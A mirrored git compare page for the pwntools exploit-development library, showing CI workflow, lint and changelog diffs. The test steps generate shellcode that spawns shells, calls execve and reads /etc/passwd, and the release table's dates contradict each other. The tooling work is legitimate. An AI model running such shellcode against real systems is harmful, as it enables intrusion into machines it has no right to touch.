mirror of
https://github.com/Gallopsled/pwntools.git
synced 2026-11-08 17:13:31 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d07a86d556 | ||
|
|
b76d045a40 | ||
|
|
957a5a5835 | ||
|
|
2efb5a0a73 | ||
|
|
442fedeef0 | ||
|
|
138188eb1c | ||
|
|
5dfcb53964 | ||
|
|
e004aa6566 | ||
|
|
5db149adc2 | ||
|
|
23f5075d93 | ||
|
|
ddb5798b8c | ||
|
|
f1624dc8ac | ||
|
|
a824e83bcb | ||
|
|
dff2e807cd | ||
|
|
b8ca473a39 | ||
|
|
cde51065bf | ||
|
|
09541e042b | ||
|
|
e47c65c6fc | ||
|
|
d6859eb744 | ||
|
|
79cd784383 | ||
|
|
dd92ca6c61 | ||
|
|
1c0ca55627 | ||
|
|
1d6aa2e276 | ||
|
|
a0b3b24984 | ||
|
|
26ccb97f63 | ||
|
|
23ac852023 | ||
|
|
bcb6e066aa | ||
|
|
2a5aac1101 | ||
|
|
5e279e7993 | ||
|
|
dc8d0e310c | ||
|
|
72ca730f4b | ||
|
|
6b7c3d99c4 | ||
|
|
4dec08b4bd | ||
|
|
9ccf404dde | ||
|
|
4b5969f582 | ||
|
|
fb2bf934ac | ||
|
|
846f98294f | ||
|
|
df76e24e7c | ||
|
|
f98c4fbe2a | ||
|
|
9e0aa3200c | ||
|
|
8080af8866 | ||
|
|
f227796a09 | ||
|
|
b6fc0f3536 | ||
|
|
556685e150 | ||
|
|
eb60b5d6b6 | ||
|
|
84a139f55b | ||
|
|
70f3b6fa79 | ||
|
|
2d45903ee3 | ||
|
|
baa4fc5a9f | ||
|
|
78df70c986 | ||
|
|
a8d34166c4 | ||
|
|
a6edf2689d | ||
|
|
3940631e21 | ||
|
|
7141e93243 | ||
|
|
53ecb27948 | ||
|
|
f1d8d5b8fe | ||
|
|
48a482df24 | ||
|
|
08ab1b6adf | ||
|
|
b5de88e118 | ||
|
|
2c33601a86 | ||
|
|
55552cd6a2 | ||
|
|
7e0e644564 | ||
|
|
8b1c25f441 | ||
|
|
ca06098649 | ||
|
|
d2b0a5913b | ||
|
|
2fafbfb291 | ||
|
|
08d900994d | ||
|
|
427066d937 | ||
|
|
db0312e0fe | ||
|
|
0337387f97 | ||
|
|
6afccefb01 | ||
|
|
db7312b43f | ||
|
|
89e3f2bee0 | ||
|
|
7b130aec79 | ||
|
|
2e61a6be7f | ||
|
|
13960bac08 | ||
|
|
7647ea6ca9 | ||
|
|
21215ac22f | ||
|
|
3390eafab3 | ||
|
|
1cc5deca50 | ||
|
|
bae22da550 | ||
|
|
230a42ffc0 | ||
|
|
31465d7570 | ||
|
|
cc6d272760 | ||
|
|
07c7dd6242 | ||
|
|
6443d82835 | ||
|
|
8d0745628c | ||
|
|
6f8319519b | ||
|
|
fcfce6ca67 | ||
|
|
4c2fba6912 | ||
|
|
3469f4a4f7 | ||
|
|
b22e3e611d | ||
|
|
3be97b7ab5 | ||
|
|
1a9dce025f | ||
|
|
cbb57c0148 | ||
|
|
92810cbeb2 | ||
|
|
039f2439b5 | ||
|
|
a190726caf | ||
|
|
745f8e7716 | ||
|
|
21c7864b79 | ||
|
|
0acf366070 | ||
|
|
a3bf833a9a | ||
|
|
8cd4d2b589 | ||
|
|
568af5b7d6 | ||
|
|
f2cb7babcf | ||
|
|
ce0966d186 | ||
|
|
e3a7515f81 | ||
|
|
d143af398e | ||
|
|
a1b0ff6b29 | ||
|
|
1b130cfe5d | ||
|
|
c3e39f57f8 | ||
|
|
ede4ed13e0 | ||
|
|
316cf359c1 | ||
|
|
343dff5c51 | ||
|
|
a0d61dcea5 | ||
|
|
f02e5b5e45 | ||
|
|
871afd1188 | ||
|
|
47c9cfe4eb | ||
|
|
642fcb0b29 | ||
|
|
89d73c8047 | ||
|
|
c293318cbd | ||
|
|
ddf5cdcb3f | ||
|
|
761d446fa3 | ||
|
|
5e012ebf95 | ||
|
|
7d6cb3f61f | ||
|
|
6c0017e617 | ||
|
|
0f2f91a29d | ||
|
|
e8b4f0b07f | ||
|
|
c0202f9c65 | ||
|
|
ddab95e5cb | ||
|
|
f4ab2d2700 | ||
|
|
aad7eb9241 | ||
|
|
2f9f759839 | ||
|
|
3934a04536 | ||
|
|
a414d788fe | ||
|
|
4134e60c8d | ||
|
|
88084975ad | ||
|
|
4b14e27523 | ||
|
|
45eb8bcc81 | ||
|
|
8b6e6ed67d | ||
|
|
18a7a9458c | ||
|
|
3cca881881 | ||
|
|
2a68da3dad | ||
|
|
9f5b24d889 | ||
|
|
e9b24a6159 | ||
|
|
39a3b2e8ff | ||
|
|
09caa4ba63 | ||
|
|
3d76872a28 | ||
|
|
92aa3d3c16 | ||
|
|
f36bbecc6e | ||
|
|
1a66766c30 | ||
|
|
74560c80e6 | ||
|
|
a0eeb30e0b | ||
|
|
f1628b80fe | ||
|
|
5c65b8a03e | ||
|
|
c2a61b30db | ||
|
|
82a7074d86 | ||
|
|
8a21b0306d | ||
|
|
c0afb8ef29 | ||
|
|
baed2d5bbc | ||
|
|
cccbc4555c | ||
|
|
df3835a611 | ||
|
|
758b86c4b0 | ||
|
|
16f8c419bc | ||
|
|
1eca50e421 | ||
|
|
d2e84c1a30 | ||
|
|
1c1615da2f | ||
|
|
cb4e01b4df | ||
|
|
00f65f2c53 | ||
|
|
ac2522fe91 | ||
|
|
82f20b28cf | ||
|
|
fd8ed5883e | ||
|
|
5fea8d25a8 | ||
|
|
01fb378320 | ||
|
|
3f8c92b233 | ||
|
|
c846f94c8e | ||
|
|
a5bf7c50f4 | ||
|
|
8066b2353b | ||
|
|
b81c61cae4 | ||
|
|
54d3f674e1 | ||
|
|
14f5ab6b90 | ||
|
|
aec8d9ea9f | ||
|
|
555dec78d9 | ||
|
|
267879c91a | ||
|
|
2d48220165 | ||
|
|
4d9242ae89 | ||
|
|
fae86c3dec | ||
|
|
24211219d8 | ||
|
|
2c0d63b569 | ||
|
|
e254c5fa62 | ||
|
|
aba16247b4 | ||
|
|
6fc0914dc0 | ||
|
|
8137494932 | ||
|
|
371ddc1f01 | ||
|
|
baad3927b9 | ||
|
|
f5c4a069b6 | ||
|
|
94647d6c10 | ||
|
|
441b0851c9 | ||
|
|
e1aedff092 | ||
|
|
8a2b77131e | ||
|
|
b5dd858897 | ||
|
|
70d42fb076 | ||
|
|
9ede4b8eea | ||
|
|
d944a9ec68 | ||
|
|
bbd82ac6fe | ||
|
|
4439849d66 | ||
|
|
061d0fd953 | ||
|
|
43c4eef53b | ||
|
|
ef40a31ac8 | ||
|
|
59ce329431 | ||
|
|
03a315ced3 | ||
|
|
e03e9d7c81 | ||
|
|
397d8c6edd | ||
|
|
ad0da0a675 | ||
|
|
25415453da | ||
|
|
3d835dfad2 | ||
|
|
5978c8c047 | ||
|
|
599ac6f9d6 | ||
|
|
bc9da1600c | ||
|
|
f26a0256dc | ||
|
|
3e71853f9f | ||
|
|
54514441aa | ||
|
|
2a7676cd5a | ||
|
|
94f71aafe5 | ||
|
|
3a83b2bdb2 | ||
|
|
2101f8d531 | ||
|
|
8699639148 | ||
|
|
aea0901ca4 | ||
|
|
b203745097 | ||
|
|
f834ce9582 | ||
|
|
d7e8b0210a | ||
|
|
4bd1aeff75 | ||
|
|
53cf93a004 | ||
|
|
eeb8d456f2 | ||
|
|
71e9c038f7 | ||
|
|
a951fbcdbe | ||
|
|
e42c244612 | ||
|
|
8f86dde4f8 | ||
|
|
16aa14968b | ||
|
|
2c97312399 | ||
|
|
fecf9f62a6 | ||
|
|
f0f0c364d3 | ||
|
|
c9dad72be4 | ||
|
|
d16370be3e | ||
|
|
5acabdd1a1 | ||
|
|
91d464b298 | ||
|
|
a7678f77a3 | ||
|
|
415f11bba7 | ||
|
|
9cefaccc10 | ||
|
|
5ddd0f4ba3 | ||
|
|
c5178460df | ||
|
|
7326452c69 | ||
|
|
c4b514f215 | ||
|
|
ed3c30aed3 | ||
|
|
f3b492db75 | ||
|
|
26598f3da6 | ||
|
|
586781bd46 | ||
|
|
8f941b8d71 | ||
|
|
42abafdd41 | ||
|
|
433d92619b | ||
|
|
9094db42af | ||
|
|
51fa401752 | ||
|
|
d80d3e08ef |
No files matched your search
@@ -1,6 +1,7 @@
|
||||
[run]
|
||||
branch = True
|
||||
parallel = True
|
||||
concurrency = thread,multiprocessing
|
||||
omit =
|
||||
*/constants/*
|
||||
source =
|
||||
@@ -8,3 +9,4 @@ source =
|
||||
pwnlib
|
||||
~/.pwntools-cache-2.7/
|
||||
~/.pwntools-cache-3.8/
|
||||
disable_warnings = module-not-imported
|
||||
@@ -25,3 +25,8 @@ You can always [change the branch][change] after you create the PR if it's again
|
||||
[contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
|
||||
[testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
|
||||
[change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
|
||||
|
||||
## Changelog
|
||||
|
||||
After creating your Pull Request, please add and push a commit that updates the changelog for the appropriate branch.
|
||||
You can look at the existing changelog for examples of how to do this.
|
||||
@@ -0,0 +1,29 @@
|
||||
name: Changelog
|
||||
on: [pull_request]
|
||||
env:
|
||||
GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
|
||||
|
||||
jobs:
|
||||
build:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 5
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Check changelog for updates
|
||||
run: |
|
||||
if git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md; then
|
||||
echo 'Changelog updated :D'
|
||||
else
|
||||
if git log --stat ${GITHUB_BASE}..HEAD | grep '++\|--'; then
|
||||
echo 'Major changes detected, changelog required!'
|
||||
false
|
||||
else
|
||||
echo 'Minor changes detected, no changelog required!'
|
||||
fi
|
||||
fi
|
||||
+60
-24
@@ -2,19 +2,22 @@ name: Continuous Integration
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
build:
|
||||
test:
|
||||
strategy:
|
||||
matrix:
|
||||
python-version: [2.7, 3.8]
|
||||
os: [ubuntu-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Git History 2
|
||||
run: git log --oneline --graph -10
|
||||
- name: Git History
|
||||
run: |
|
||||
git fetch origin
|
||||
git log --oneline --graph -10
|
||||
|
||||
- name: Cache for pip
|
||||
uses: actions/cache@v1
|
||||
@@ -28,23 +31,29 @@ jobs:
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
|
||||
- name: Lint
|
||||
- name: Verify tag against version
|
||||
if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
|
||||
env:
|
||||
GITHUB_REF: ${{ github.event.ref }}
|
||||
run: |
|
||||
pip install flake8
|
||||
flake8 . --count --select=E9,F63,F7 --show-source --statistics --exclude=android-?dk # TODO: Add F82
|
||||
flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --exclude=pwnlib/constants,android-?dk,.git,__pycache__
|
||||
set -x
|
||||
GITHUB_TAG=${GITHUB_REF#refs/tags/}
|
||||
echo "$GITHUB_TAG" | grep -E '^[0-9.]*(beta[0-9])?$'
|
||||
vsetup=$(grep -o "version\\s*=\\s*[\"'].*[\"'],$" setup.py | grep -o "[0-9][^\"']*")
|
||||
vpwnlib=$(grep -o "__version__\\s*=\\s*[\"'].*[\"']$" pwnlib/version.py | grep -o "[0-9][^\"']*")
|
||||
[ "$vsetup" = "$vpwnlib" ]
|
||||
[ "$GITHUB_TAG" = "$vsetup" ]
|
||||
|
||||
- name: Detect whether java is needed
|
||||
id: java-needed
|
||||
env:
|
||||
GITHUB_REF: ${{ github.event.ref }}
|
||||
GITHUB_COMMIT_RANGE: ${{ github.event.before }}...${{ github.event.after }}
|
||||
run: |
|
||||
if echo "$GITHUB_REF" | grep -Eq 'staging|tags'; then
|
||||
echo "Found release or important branch ($GITHUB_REF), forcing tests."
|
||||
elif ! git show "$GITHUB_COMMIT_RANGE" >/dev/null; then
|
||||
elif ! git show "origin/$GITHUB_BASE_REF"..HEAD >/dev/null; then
|
||||
echo 'Incorrect commit range, forcing android tests.'
|
||||
elif git log --stat "$GITHUB_COMMIT_RANGE" | grep -iE 'android|\<adb\>'; then
|
||||
elif git log --stat "origin/$GITHUB_BASE_REF"..HEAD | grep -iE 'android|\<adb\>'; then
|
||||
echo 'Found Android-related commits, forcing tests.'
|
||||
else
|
||||
# clear files that cause Android doctests
|
||||
@@ -65,14 +74,23 @@ jobs:
|
||||
binutils-aarch64-linux-gnu \
|
||||
binutils-arm-linux-gnueabihf \
|
||||
binutils-mips-linux-gnu \
|
||||
binutils-msp430 \
|
||||
binutils-powerpc-linux-gnu \
|
||||
binutils-s390x-linux-gnu \
|
||||
binutils-sparc64-linux-gnu \
|
||||
gcc-multilib \
|
||||
libc6-dbg \
|
||||
$ANDROID_JRE
|
||||
sudo apt-get install -y -o Acquire::Retries=3 \
|
||||
gcc-aarch64-linux-gnu \
|
||||
gcc-arm-linux-gnueabihf
|
||||
|
||||
- name: Install android avd
|
||||
- name: Testing Corefiles
|
||||
run: |
|
||||
ulimit -a
|
||||
ulimit -c unlimited
|
||||
cat /proc/sys/kernel/core_pattern
|
||||
cat /proc/sys/kernel/core_uses_pid
|
||||
( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash;) || true
|
||||
|
||||
- name: Install Android AVD
|
||||
if: steps.java-needed.outputs.need
|
||||
run: |
|
||||
USER=travis source travis/install.sh
|
||||
@@ -95,14 +113,12 @@ jobs:
|
||||
- name: Install documentation dependencies
|
||||
run: pip install -r docs/requirements.txt
|
||||
|
||||
- name: Disable broken tests
|
||||
run: |
|
||||
rm -f docs/source/elf/corefile.rst
|
||||
rm -f docs/source/ui.rst
|
||||
|
||||
- name: Manually install non-broken Unicorn
|
||||
run: pip install unicorn==1.0.2rc3
|
||||
|
||||
- name: Version Check
|
||||
run: PWNLIB_NOTERM=1 pwn version
|
||||
|
||||
- name: Coverage doctests
|
||||
run: |
|
||||
source .android.env || :
|
||||
@@ -123,26 +139,45 @@ jobs:
|
||||
- name: Coverage running commandline tools
|
||||
run: |
|
||||
export TERM=linux
|
||||
pwn() { coverage run -m pwnlib.commandline.main "$@"; }
|
||||
pwn() { ( set +x; cmd=$1; shift; PYTHONUNBUFFERED=1 exec coverage run -m pwnlib.commandline."$cmd" "$@" ) }
|
||||
set -x
|
||||
|
||||
pwn cyclic 32
|
||||
pwn cyclic -l 0x62616161
|
||||
pwn cyclic -a ab
|
||||
echo
|
||||
|
||||
pwn shellcraft --list |tail
|
||||
pwn shellcraft -l --syscalls |tail
|
||||
pwn shellcraft -l execve
|
||||
pwn shellcraft --show i386.linux.loader_append
|
||||
pwn shellcraft -f asm --color amd64.linux.sh
|
||||
pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex
|
||||
pwn shellcraft -f i --color amd64.linux.cat /etc/passwd </dev/null
|
||||
pwn shellcraft -f c amd64.linux.syscalls.exit 0 </dev/null
|
||||
pwn shellcraft -f str aarch64.linux.sh </dev/null
|
||||
pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null
|
||||
pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '["/bin/cat", "/etc/os-release"]' </dev/null
|
||||
pwn shellcraft -fp aarch64.trap
|
||||
|
||||
pwn disasm --color ff3424c3ebfe
|
||||
pwn asm -f hex nop
|
||||
|
||||
pwn hex abcd
|
||||
pwn unhex 4141 4141
|
||||
|
||||
head -c256 /dev/urandom | pwn phd
|
||||
cat /dev/urandom | pwn phd --color -c 256 -s 2
|
||||
pwn phd -l 0x3d --color=always /etc/os-release
|
||||
|
||||
pwn checksec /bin/bash
|
||||
|
||||
pwn errno 2
|
||||
pwn errno -1
|
||||
pwn errno EADDRINUSE
|
||||
|
||||
pwn constgrep -c freebsd -m ^PROT_ '3 + 4'
|
||||
pwn constgrep ^MAP_ 0
|
||||
pwn constgrep ^O_
|
||||
pwn constgrep -e O_RDWR
|
||||
|
||||
- name: Build source and wheel distributions
|
||||
run: |
|
||||
@@ -162,7 +197,7 @@ jobs:
|
||||
staging-merge:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
|
||||
needs: build
|
||||
needs: test
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
with:
|
||||
@@ -175,11 +210,12 @@ jobs:
|
||||
TARGET=${BRANCH%-staging}
|
||||
git branch -f "$TARGET"
|
||||
git push origin "$TARGET"
|
||||
git push origin --delete "$BRANCH"
|
||||
|
||||
pypi:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
|
||||
needs: build
|
||||
needs: test
|
||||
steps:
|
||||
- name: Download artifacts
|
||||
uses: actions/download-artifact@v2
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
name: Lint
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
strategy:
|
||||
matrix:
|
||||
python-version: [3.8]
|
||||
os: [ubuntu-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: Cache for pip
|
||||
uses: actions/cache@v1
|
||||
id: cache-pip
|
||||
with:
|
||||
path: ~/.cache/pip
|
||||
key: ${{ matrix.os }}-cache-pip
|
||||
|
||||
- name: Set up Python ${{ matrix.python-version }}
|
||||
uses: actions/setup-python@v1
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
|
||||
- name: Critical lint
|
||||
run: |
|
||||
pip install flake8
|
||||
flake8 . --count --select=E9,F63,F7,E71 --show-source --statistics --exclude=android-?dk # TODO: Add F82
|
||||
|
||||
- name: Style lint
|
||||
run: |
|
||||
flake8 pwnlib setup.py docs travis --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
|
||||
flake8 examples --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F403,F405'
|
||||
flake8 pwn --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F401,F403,F405'
|
||||
@@ -0,0 +1,28 @@
|
||||
name: Check for merge markers
|
||||
on: [pull_request]
|
||||
env:
|
||||
GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
|
||||
|
||||
jobs:
|
||||
mergecheck:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 5
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Check for merge conflict markers commited
|
||||
run: |
|
||||
if git show ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+\+(>>>>>|=====|<<<<<)'; then
|
||||
echo 'WARNING: Merge marker commits found in history.'
|
||||
if git diff ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+(>>>>>|=====|<<<<<)'; then
|
||||
echo 'ERROR: Merge markers still present! Do something!'
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
echo 'Congrats! All the merges you did were clean or resolved correctly :)'
|
||||
fi
|
||||
@@ -0,0 +1,36 @@
|
||||
name: PyLint
|
||||
on: [pull_request]
|
||||
|
||||
jobs:
|
||||
build:
|
||||
strategy:
|
||||
matrix:
|
||||
python-version: [3.8]
|
||||
os: [ubuntu-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: Cache for pip
|
||||
uses: actions/cache@v1
|
||||
id: cache-pip
|
||||
with:
|
||||
path: ~/.cache/pip
|
||||
key: ${{ matrix.os }}-cache-pip
|
||||
|
||||
- name: Set up Python ${{ matrix.python-version }}
|
||||
uses: actions/setup-python@v1
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
|
||||
- name: PyLint
|
||||
run: |
|
||||
set -x
|
||||
pip install pylint
|
||||
pylint --exit-zero --errors-only pwnlib > current.txt
|
||||
git fetch origin
|
||||
git checkout origin/"$GITHUB_BASE_REF"
|
||||
pylint --exit-zero --errors-only pwnlib > base.txt
|
||||
if diff base.txt current.txt | grep '>'; then
|
||||
false
|
||||
fi
|
||||
@@ -16,3 +16,4 @@ venv
|
||||
*.egg-info
|
||||
*.core
|
||||
.coverage
|
||||
.coverage.*
|
||||
+3
-3
@@ -19,11 +19,11 @@ addons:
|
||||
- binutils-aarch64-linux-gnu
|
||||
- binutils-arm-linux-gnueabihf
|
||||
- binutils-mips-linux-gnu
|
||||
- binutils-msp430
|
||||
- binutils-powerpc-linux-gnu
|
||||
- gcc-aarch64-linux-gnu
|
||||
- gcc-arm-linux-gnueabihf
|
||||
- binutils-s390x-linux-gnu
|
||||
- binutils-sparc64-linux-gnu
|
||||
- bash-static
|
||||
|
||||
cache:
|
||||
- pip
|
||||
- directories:
|
||||
|
||||
+163
-9
@@ -9,9 +9,18 @@ The table below shows which release corresponds to each branch, and what date th
|
||||
|
||||
| Version | Branch | Release Date |
|
||||
| ---------------- | -------- | ---------------------- |
|
||||
| [4.3.0](#430) | `dev` | Jun 30, 2020 (planned)
|
||||
| [4.2.0](#420) | `beta` | Jun 5, 2020 (planned)
|
||||
| [4.1.1](#411) | `stable` | Jun 3, 2020
|
||||
| [4.6.0](#460) | `dev` | May 29, 2020 (planned)
|
||||
| [4.5.0](#450) | `beta` | Apr 29, 2020 (planned)
|
||||
| [4.4.0](#440) | `stable` | Mar 29, 2020
|
||||
| [4.3.1](#431) | | Nov 29, 2020
|
||||
| [4.3.0](#430) | | Oct 20, 2020
|
||||
| [4.2.0](#420) | | Jul 3, 2020
|
||||
| [4.1.7](#417) | | Jun 30, 2020
|
||||
| [4.1.5](#415) | | Jun 27, 2020
|
||||
| [4.1.4](#414) | | Jun 26, 2020
|
||||
| [4.1.3](#413) | | Jun 23, 2020
|
||||
| [4.1.2](#412) | | Jun 5, 2020
|
||||
| [4.1.1](#411) | | Jun 3, 2020
|
||||
| [4.1.0](#410) | | May 8, 2020
|
||||
| [4.0.1](#401) | | Jan 22, 2020
|
||||
| [4.0.0](#400) | | Jan 09, 2020
|
||||
@@ -49,13 +58,127 @@ The table below shows which release corresponds to each branch, and what date th
|
||||
| [3.0.0](#300) | | Aug 20, 2016
|
||||
| [2.2.0](#220) | | Jan 5, 2015
|
||||
|
||||
## 4.3.0 (`dev`)
|
||||
## 4.6.0 (`dev`)
|
||||
|
||||
To be released on Jun 30, 2020.
|
||||
|
||||
## 4.2.0 (`beta`)
|
||||
|
||||
To be released on Jun 5, 2020.
|
||||
## 4.5.0 (`beta`)
|
||||
|
||||
- [#1261][1261] Misc `run_in_new_terminal` improvements (notably gdb terminated by default)
|
||||
- [#1695][1695] Allow using GDB Python API
|
||||
- [#1735][1735] Python 3.9 support in safeeval
|
||||
- [#1738][1738] Which function support custom search path
|
||||
- process also looks now at `env['PATH']` to find the path for the executable
|
||||
- [#1742][1742] New `baremetal` os to debug binaries executed with qemu-system-$(arch)
|
||||
- [#1757][1757] update cache directories
|
||||
- [#1758][1758] Remove eval from cli
|
||||
- [#1780][1780] Re-add Python2 to the official Dockerfile
|
||||
- [#1941][1941] Disable all Android tests, `pwnlib.adb` is no longer supported in CI
|
||||
- [#1811][1811] Remove unnecessary `pwn.toplevel.__all__`
|
||||
- [#1827][1827] Support `$XDG_CONFIG_HOME` dir for `pwn.conf`
|
||||
- [#1841][1841] Add colored_traceback
|
||||
- [#1839][1839] run_in_new_terminal now creates a runner script if given a list or tuple
|
||||
- [#1833][1833] Add pwnlib.filesystem module
|
||||
|
||||
[1261]: https://github.com/Gallopsled/pwntools/pull/1261
|
||||
[1695]: https://github.com/Gallopsled/pwntools/pull/1695
|
||||
[1735]: https://github.com/Gallopsled/pwntools/pull/1735
|
||||
[1738]: https://github.com/Gallopsled/pwntools/pull/1738
|
||||
[1742]: https://github.com/Gallopsled/pwntools/pull/1742
|
||||
[1757]: https://github.com/Gallopsled/pwntools/pull/1757
|
||||
[1758]: https://github.com/Gallopsled/pwntools/pull/1758
|
||||
[1780]: https://github.com/Gallopsled/pwntools/pull/1780
|
||||
[1941]: https://github.com/Gallopsled/pwntools/pull/1941
|
||||
[1811]: https://github.com/Gallopsled/pwntools/pull/1811
|
||||
[1827]: https://github.com/Gallopsled/pwntools/pull/1827
|
||||
[1841]: https://github.com/Gallopsled/pwntools/pull/1841
|
||||
[1839]: https://github.com/Gallopsled/pwntools/pull/1839
|
||||
[1833]: https://github.com/Gallopsled/pwntools/pull/1833
|
||||
|
||||
## 4.4.0 (`stable`)
|
||||
|
||||
- [#1541][1541] Use `context.newline` for tubes by default
|
||||
- [#1602][1602] Fix bytes handling in ssh tubes
|
||||
- [#1606][1606] Fix `asm()` and `disasm()` for MSP430, S390
|
||||
- [#1616][1616] Fix `cyclic` cli for 64 bit integers
|
||||
- [#1632][1632] Enable usage of Pwntools in jupyter
|
||||
- [#1633][1633] Open a shell if `pwn template` cannot download the remote file
|
||||
- [#1644][1644] Enable and support SNI for SSL-wrapped tubes
|
||||
- [#1651][1651] Make `pwn shellcraft` faster
|
||||
- [#1654][1654] Docker images (`pwntools/pwntools:stable` etc) now use Python3 by default, and includes assemblers for a few common architectures
|
||||
- [#1667][1667] Add i386 encoder `ascii_shellcode` (Fixed docs in #1693)
|
||||
- Fix syscall instruction lists for SROP on `i386` and `amd64`
|
||||
- Fix migration to another ROP
|
||||
- [#1673][1673] Add `base=` argument to `ROP.chain()` and `ROP.dump()`
|
||||
- [#1675][1675] Gdbserver now correctly accepts multiple libraries in `LD_PRELOAD` and `LD_LIBRARY_PATH`
|
||||
- [#1678][1678] ROPGadget multibr
|
||||
- [#1682][1682] ROPGadget multibr fix
|
||||
- [#1687][1687] Actually import `requests` when doing `from pwn import *`
|
||||
- [#1688][1688] Add `__setattr__` and `__call__` interfaces to `ROP` for setting registers
|
||||
- [#1692][1692] Remove python2 shebangs where appropriate
|
||||
- [#1703][1703] Update libcdb buildid offsets for amd64 and i386
|
||||
- [#1704][1704] Try https://libc.rip/ for libcdb lookup
|
||||
|
||||
[1541]: https://github.com/Gallopsled/pwntools/pull/1541
|
||||
[1602]: https://github.com/Gallopsled/pwntools/pull/1602
|
||||
[1606]: https://github.com/Gallopsled/pwntools/pull/1606
|
||||
[1616]: https://github.com/Gallopsled/pwntools/pull/1616
|
||||
[1632]: https://github.com/Gallopsled/pwntools/pull/1632
|
||||
[1633]: https://github.com/Gallopsled/pwntools/pull/1633
|
||||
[1644]: https://github.com/Gallopsled/pwntools/pull/1644
|
||||
[1651]: https://github.com/Gallopsled/pwntools/pull/1651
|
||||
[1654]: https://github.com/Gallopsled/pwntools/pull/1654
|
||||
[1667]: https://github.com/Gallopsled/pwntools/pull/1667
|
||||
[1673]: https://github.com/Gallopsled/pwntools/pull/1673
|
||||
[1675]: https://github.com/Gallopsled/pwntools/pull/1675
|
||||
[1678]: https://github.com/Gallopsled/pwntools/pull/1678
|
||||
[1682]: https://github.com/Gallopsled/pwntools/pull/1679
|
||||
[1687]: https://github.com/Gallopsled/pwntools/pull/1687
|
||||
[1688]: https://github.com/Gallopsled/pwntools/pull/1688
|
||||
[1692]: https://github.com/Gallopsled/pwntools/pull/1692
|
||||
[1703]: https://github.com/Gallopsled/pwntools/pull/1703
|
||||
[1704]: https://github.com/Gallopsled/pwntools/pull/1704
|
||||
|
||||
## 4.3.1
|
||||
|
||||
- [#1732][1732] Fix shellcraft SSTI vulnerability (first major pwntools vuln!)
|
||||
|
||||
[1732]: https://github.com/Gallopsled/pwntools/pull/1732
|
||||
|
||||
## 4.3.0
|
||||
|
||||
- [#1576][1576] Add `executable=` argument to `ELF.search`
|
||||
- [#1584][1584] Add `jmp_esp`/`jmp_rsp` attribute to `ROP`
|
||||
- [#1592][1592] Fix over-verbose logging of process() environment
|
||||
- [#1593][1593] Colorize output of `pwn template`
|
||||
- [#1601][1601] Add `pwn version` command line tool
|
||||
- [#1605][1605] Add to `fiddling.hexdump` a way to suppress the total at the end
|
||||
- [#1613][1613] Permit `--password` for `pwn template`
|
||||
- [#1616][1616] Fix `cyclic` cli for 64 bit integers
|
||||
- [#1564][1564] Fix `asm()` and `disasm()` for PowerPC64, MIPS64, Sparc64
|
||||
- [#1621][1621] Permit negative values in flat() and fit()
|
||||
|
||||
[1576]: https://github.com/Gallopsled/pwntools/pull/1576
|
||||
[1584]: https://github.com/Gallopsled/pwntools/pull/1584
|
||||
[1592]: https://github.com/Gallopsled/pwntools/pull/1592
|
||||
[1593]: https://github.com/Gallopsled/pwntools/pull/1593
|
||||
[1601]: https://github.com/Gallopsled/pwntools/pull/1601
|
||||
[1605]: https://github.com/Gallopsled/pwntools/pull/1605
|
||||
[1613]: https://github.com/Gallopsled/pwntools/pull/1613
|
||||
[1616]: https://github.com/Gallopsled/pwntools/pull/1616
|
||||
[1564]: https://github.com/Gallopsled/pwntools/pull/1564
|
||||
[1621]: https://github.com/Gallopsled/pwntools/pull/1621
|
||||
|
||||
## 4.2.1
|
||||
|
||||
- [#1625][1625] GDB now properly loads executables with QEMU
|
||||
- [#1663][1663] Change lookup algorithm of `adb.which`
|
||||
